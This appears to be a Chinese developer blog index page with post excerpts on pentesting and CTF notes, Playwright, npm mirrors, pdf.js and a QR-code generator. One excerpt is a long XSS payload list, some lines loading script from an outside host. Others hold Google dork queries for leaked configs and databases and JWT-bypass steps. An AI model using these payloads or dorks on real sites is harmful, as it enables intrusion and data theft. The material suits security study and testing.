我的GitHub
0%

WEB

信息收集、爆破、认证

1.敏感文件泄露

2.dirsearch\dirb\

3.BURP

  • a.登录框->admin密码【登录获取flag】
  • b.给一个字典,爆出普通用户密码,登录后,有些权限验证方法
  • c.Cookie->user改为admin
  • d.JWT验证
  • i.修改算法
  • ii.算法改为None,none
  • iii.爆破密钥
  • iv.删除signature,删除签名

命令执行

1.成因

阅读全文 »

背景

使用playwright启动的是为一个无痕浏览器

但是我们有时候需要包含一些浏览器拓展

如何找到拓展安装地址

我这里以Edge为例,其他浏览器自己搜

1
C:\Users\user_name\AppData\Local\Microsoft\Edge\User Data\Default\Extensions

所有插件都在其中

可以根据拓展中展示的插件id知道插件名称

使用说明

在当前项目下新建一个extensions文件夹

阅读全文 »

背景

前面使用playwright时,就谈过这个内网依赖的问题,今天我将使用究极模式来解决这个问题

环境

一台内网机,一台外网机

内网机有nodenpm

1.自建私服

使用verdaccio,这个大家应该都不陌生

接下来,我会告诉你如何搭建一个私服,并让它可用

因为考虑到我们是需要迁移到内网,所以我们拒绝全局安装

这里我们不考虑什么打包tgz的方式

阅读全文 »

背景

在渗透过程中,经常会遇到参数和返回值加密的情况

比如

请求 和 返回如下

那么我们如何找寻加密方式和明文参数呢

1. 代码审计

打开F12通过搜索查找接口所在代码位置

自己添加一行打印并保存,就能看到明文参数

阅读全文 »

1.判断是否存在sourcemap

F12打开工具栏查看是否存在webpack

2.下载map

打开static文件夹,复制js文件的路径

例如

https://xxxxg/static/js/app.22a24d56f6000aff1358.js

在最后添加.map

并新增下载链接

3.还原js文件

阅读全文 »

1.信息泄露搜索语法

搜索语法生成工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
管理后台地址:
site:target.com intext:管理 | 后台 | 后台管理 | 登陆 | 登录 | 用户名 | 密码 | 系统 | 账号 | login | system
site:target.com inurl:login | inurl:admin | inurl:manage | inurl:manager | inurl:admin_login | inurl:system | inurl:backend
site:target.com intitle:管理 | 后台 | 后台管理 | 登陆 | 登录

上传类漏洞地址:
site:target.com inurl:file | inurl:upload

注入页面:
site:target.com inurl:?id= | inurl:php?id= | inurl:jsp?id= | inurl:aspx?id= | inurl:asp?id=

编辑器页面:
site:target.com inurl:ewebeditor

目录遍历漏洞:
site:target.com intitle: "index of"

URL 跳转:
site:target.com inurl:url= | inurl:return= | inurl:next= | inurl:redir= inurl:http

SQL错误:
site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:”Warning: mysql_query()" | intext:"Warning: pg_connect()"

phpinfo:
site:target.com ext:php intitle:phpinfo "published by the PHP Group"

配置文件泄露:
site:target.com ext:.xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini

数据库文件泄露:
site:target.com ext:.sql | .dbf | .mdb | .db

日志文件泄露:
site:target.com ext:.log

备份和历史文件泄露:
site:target.com ext:.bkf | .bkp | .old | .backup | .bak | .swp | .rar | .txt | .zip | .7z | .sql | .tar.gz | .tgz | .tar

公开文件泄露:
site:target.com filetype:.doc | .docx | .xls | .xlsx | .ppt | .pptx | .odt | .pdf | .rtf | .sxw | .psw | .csv

邮箱信息:
site:target.com intext:@target.com
site:target.com 邮件
site:target.com email

社工信息:
site:target.com intitle:账号 | 密码 | 工号 | 学号 | 身份证
阅读全文 »

背景

烦的一比,Windows的时间和准确时间差的太远了

但是又无法同步

试了N多个ntp服务器了,一直都提示

1
Windows在与ntp.ntsc.ac.cn进行同步时出错。由于超时时间已过,该操作返回。

什么aliyun,tencent之类的服务器都试过

全都超时

找了个可用的ntp服务器

ntp

阿星严选:CN.NTP.ORG.CN

阅读全文 »

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<script>alert('XSS')</script>

"><script>alert('XSS')</script><"

<svg onload=alert('XSS')>

<!-- 使用<a>标签 -->
<a href="javascript:alert('XSS')">点击我</a>

<!-- 使用<img>标签 -->
<img src="x" onerror="alert('XSS')">

<!-- 使用<iframe>标签 -->
<iframe src="javascript:alert('XSS')"></iframe>

<!-- 使用<button>标签 -->
<button onclick="alert('XSS')">点击我</button>

<!-- 使用<input>标签 -->
<input type="button" onclick="alert('XSS')" value="点击我">

<!-- URL编码 -->
<a href="javascript:%61%6C%65%72%74%28%31%29">点击我</a>

<!-- JavaScript Unicode编码 -->
<script>alert('\u0058\u0053\u0053')</script>

>"'><img src="javascript.:alert('XSS')">

>"'><script>alert('XSS')</script>

<table background='javascript.:alert(([code])'></table>

<object type=text/html data='javascript.:alert(([code]);'></object>

"+alert('XSS')+"

'><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>alert(vulnerable)</script>

<s&#99;ript>alert('XSS')</script>

<img src="javas&#99;ript:alert('XSS')">

%0a%0a<script>alert(\"Vulnerable\")</script>.jsp

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

a.jsp/<script>alert('Vulnerable')</script>

"><script>alert('Vulnerable')</script>

<IMG SRC="javascript.:alert('XSS');">

<IMG src="/javascript.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>

<IMG SRC="jav&#x09;ascript.:alert('XSS');">

<IMG SRC="jav&#x0A;ascript.:alert('XSS');">

<IMG SRC="jav&#x0D;ascript.:alert('XSS');">

"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out

<IMG SRC=" javascript.:alert('XSS');">

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<BODY BACKGROUND="javascript.:alert('XSS')">

<BODY ONLOAD=alert('XSS')>

<IMG DYNSRC="javascript.:alert('XSS')">

<IMG LOWSRC="javascript.:alert('XSS')">

<BGSOUND SRC="javascript.:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">

<IMG SRC='vbscript.:msgbox("XSS")'>

<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">

<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>

<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>

<TABLE BACKGROUND="javascript.:alert('XSS')">

<DIV STYLE="background-image: url(javascript.:alert('XSS'))">

<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">

<DIV STYLE="width: expression(alert('XSS'));">

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE='xss:expre\ssion(alert("XSS"))'>

<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>

<BASE HREF="javascript.:alert('XSS');//">

getURL("javascript.:alert('XSS')")

a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);

<XML SRC="javascript.:alert('XSS');">

"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"

<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>

<IMG SRC="javascript.:alert('XSS')"

<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

Xss平台

例如:https://xssjs.com/

阅读全文 »

报错引流

1
Error: No “GlobalWorkerOptions.workerSrc“ specified.

使用框架

  • vite
  • pdf-js
  • vue3

pnpm

1
pnpm add pdfjs-dist

使用

页面文件

1
2
3
4
5
6
7
8
9
import * as pdfjsLib from 'pdfjs-dist'
// .....其他代码
onMounted(() => {
pdfjsLib.GlobalWorkerOptions.workerSrc = new URL(
"pdfjs-dist/build/pdf.worker.min.mjs",
import.meta.url
).toString();
// pdfjsLib.GlobalWorkerOptions.workerSrc = '../../node_modules/pdfjs-dist/build/pdf.worker.min.mjs';
})

vite.config.ts新增配置

阅读全文 »

背景

有一些信息需要生成二维码,让微信能够扫码识别复制粘贴

vue版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
<template>
<div>
<h1>输入文字生成文字 logo</h1>
<input v-model="companyName" type="text" placeholder="请输入文字">
<button @click="generateLogo">生成 logo</button>
<button @click="downloadLogo">下载 logo</button>
<div id="logo" ref="logoRef" :style="{ backgroundColor: logoBgColor }">{{ logoText }}</div>

<h1>输入信息生成二维码</h1>
<input v-model="companyName2" type="text" placeholder="请输入title">
<br />
<textarea v-model="address" placeholder="请输入信息" cols="22" rows="5"></textarea>
<br />
<button @click="generateQRCode">生成二维码</button>
<div id="qrcode" v-html="qrcodeHtml"></div>
<div id="companyNameDisplay">{{ companyName2 }}</div>
</div>
</template>

<script lang="ts" setup>
import { ref, type Ref } from 'vue';
// 假设 qrcode.min.js 已经安装并导入
import QRCode from 'qrcode-generator';

// 定义响应式变量的类型
const companyName: Ref<string> = ref('');
const logoText: Ref<string> = ref('');
const logoBgColor: Ref<string> = ref('');
const companyName2: Ref<string> = ref('');
const address: Ref<string> = ref('');
const qrcodeHtml: Ref<string> = ref('');
const logoRef: Ref<HTMLElement | null> = ref(null);

const generateLogo = () => {
if (companyName.value.length === 4) {
logoText.value = `${companyName.value.slice(0, 2)}\n${companyName.value.slice(2)}`;
} else {
logoText.value = companyName.value;
}
const randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
logoBgColor.value = randomColor;
};

const downloadLogo = async () => {
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
const text = logoText.value;
const color = logoRef.value?.style.backgroundColor || '';

canvas.width = 2048;
canvas.height = 2048;

// 设置字体样式,与页面上的 logo 字体大小一致
if (ctx) {
ctx.font = '748px Arial';
ctx.textAlign = 'center';
ctx.textBaseline = 'middle';

// 清空画布
ctx.clearRect(0, 0, canvas.width, canvas.height);

// 绘制带圆角的背景
const radius = 200;
const x = 0;
const y = 0;
const width = 2048;
const height = 2048;

ctx.beginPath();
ctx.moveTo(x + radius, y);
ctx.lineTo(x + width - radius, y);
ctx.quadraticCurveTo(x + width, y, x + width, y + radius);
ctx.lineTo(x + width, y + height - radius);
ctx.quadraticCurveTo(x + width, y + height, x + width - radius, y + height);
ctx.lineTo(x + radius, y + height);
ctx.quadraticCurveTo(x, y + height, x, y + height - radius);
ctx.lineTo(x, y + radius);
ctx.quadraticCurveTo(x, y, x + radius, y);
ctx.closePath();

ctx.fillStyle = color;
ctx.fill();

// 设置文字颜色
ctx.fillStyle = 'white';

// 计算文字位置
const centerX = canvas.width / 2;
const centerY = canvas.height / 2;

// 绘制文字
if (text.includes('\n')) {
const lines = text.split('\n');
const lineHeight = 748;
const totalHeight = lines.length * lineHeight;
const startY = centerY - totalHeight / 2 + lineHeight / 2;
lines.forEach((line, index) => {
ctx.fillText(line, centerX, startY + index * lineHeight);
});
} else {
ctx.fillText(text, centerX, centerY);
}
}

// 创建下载链接
const link = document.createElement('a');
link.href = canvas.toDataURL('image/png');
link.download = companyName.value + 'logo.png';
link.click();
};

const generateQRCode = () => {
qrcodeHtml.value = '';
if (address.value) {
QRCode.stringToBytes = QRCode.stringToBytesFuncs['UTF-8'];
const qr = QRCode(0, 'L');
qr.addData(address.value);
// qr.addData(unescape(encodeURIComponent(address)));
qr.make();
qrcodeHtml.value = qr.createImgTag(4);
}
};
</script>

<style scoped>
body {
font-family: Arial, sans-serif;
text-align: center;
padding-top: 50px;
}

#logo {
font-size: 48px;
font-weight: bold;
margin-top: 20px;
padding: 10px;
border-radius: 20px;
color: white;
white-space: pre-line;
width: 200px;
height: 200px;
box-sizing: border-box;
display: flex;
justify-content: center;
align-items: center;
margin-left: auto;
margin-right: auto;
}

#qrcode {
margin-top: 20px;
}
</style>

html版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
<!DOCTYPE html>
<html lang="zh">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>生成文字 logo</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
padding-top: 50px;
}

#logo {
font-size: 48px;
font-weight: bold;
margin-top: 20px;
padding: 10px;
border-radius: 20px;
color: white;
white-space: pre-line;
width: 200px;
height: 200px;
box-sizing: border-box;
display: flex;
justify-content: center;
align-items: center;
margin-left: auto;
margin-right: auto;
}

#qrcode {
margin-top: 20px;
}
</style>
<!-- 引入 qrcode.js 库 -->
<script src="qrcode.min.js"></script>
</head>

<body>
<h1>输入文字生成文字 logo</h1>
<input type="text" id="companyName" placeholder="请输入文字名称">
<button onclick="generateLogo()">生成 logo</button>
<button id="downloadButton" onclick="downloadLogo()">下载 logo</button>
<div id="logo"></div>

<!-- 新增输入框和按钮用于生成二维码 -->
<h1>输入信息生成二维码</h1>
<input type="text" id="companyName2" placeholder="请输入title">
<br />
<textarea type="text" id="address" placeholder="请输入信息" cols="22" rows="5"></textarea>
<br />

<button onclick="generateQRCode()">生成二维码</button>
<div id="qrcode"></div>
<div id="companyNameDisplay"></div>

<script>
function generateLogo() {
const companyName = document.getElementById('companyName').value;
const logoElement = document.getElementById('logo');
if (companyName.length === 4) {
logoElement.textContent = `${companyName.slice(0, 2)}\n${companyName.slice(2)}`;
} else {
logoElement.textContent = companyName;
}
const randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
logoElement.style.backgroundColor = randomColor;
}

function downloadLogo() {
const canvas = document.getElementById('logoCanvas');
const ctx = canvas.getContext('2d');
const logoElement = document.getElementById('logo');
const text = logoElement.textContent;
const color = logoElement.style.backgroundColor;

// 设置字体样式,与页面上的 logo 字体大小一致
ctx.font = '748px Arial';
ctx.textAlign = 'center';
ctx.textBaseline = 'middle';

// 清空画布
ctx.clearRect(0, 0, canvas.width, canvas.height);

// 绘制带圆角的背景
const radius = 200;
const x = 0;
const y = 0;
const width = 2048;
const height = 2048;

ctx.beginPath();
ctx.moveTo(x + radius, y);
ctx.lineTo(x + width - radius, y);
ctx.quadraticCurveTo(x + width, y, x + width, y + radius);
ctx.lineTo(x + width, y + height - radius);
ctx.quadraticCurveTo(x + width, y + height, x + width - radius, y + height);
ctx.lineTo(x + radius, y + height);
ctx.quadraticCurveTo(x, y + height, x, y + height - radius);
ctx.lineTo(x, y + radius);
ctx.quadraticCurveTo(x, y, x + radius, y);
ctx.closePath();

ctx.fillStyle = color;
ctx.fill();

// 设置文字颜色
ctx.fillStyle = 'white';

// 计算文字位置
const centerX = canvas.width / 2;
const centerY = canvas.height / 2;

// 绘制文字
if (text.includes('\n')) {
const lines = text.split('\n');
const lineHeight = 748;
const totalHeight = lines.length * lineHeight;
const startY = centerY - totalHeight / 2 + lineHeight / 2;
lines.forEach((line, index) => {
ctx.fillText(line, centerX, startY + index * lineHeight);
});
} else {
ctx.fillText(text, centerX, centerY);
}

// 创建下载链接
const link = document.createElement('a');
link.href = canvas.toDataURL('image/png');
link.download = companyName + 'logo.png';
link.click();
}

function generateQRCode() {
const address = document.getElementById('address').value;
const qrcodeDiv = document.getElementById('qrcode');
const companyName2 = document.getElementById('companyName2').value;
const companyNameDisplay = document.getElementById('companyNameDisplay');
qrcodeDiv.innerHTML = '';
companyNameDisplay.textContent = '';


if (address) {
qrcode.stringToBytes = qrcode.stringToBytesFuncs['UTF-8'];
const qr = qrcode(0, 'L');
qr.addData(address);
// qr.addData(unescape(encodeURIComponent(address)));
qr.make();
const img = qr.createImgTag(4);
qrcodeDiv.innerHTML = img;
}
if (companyName2) {
companyNameDisplay.textContent = companyName2;
}
}

</script>
</body>

</html>
阅读全文 »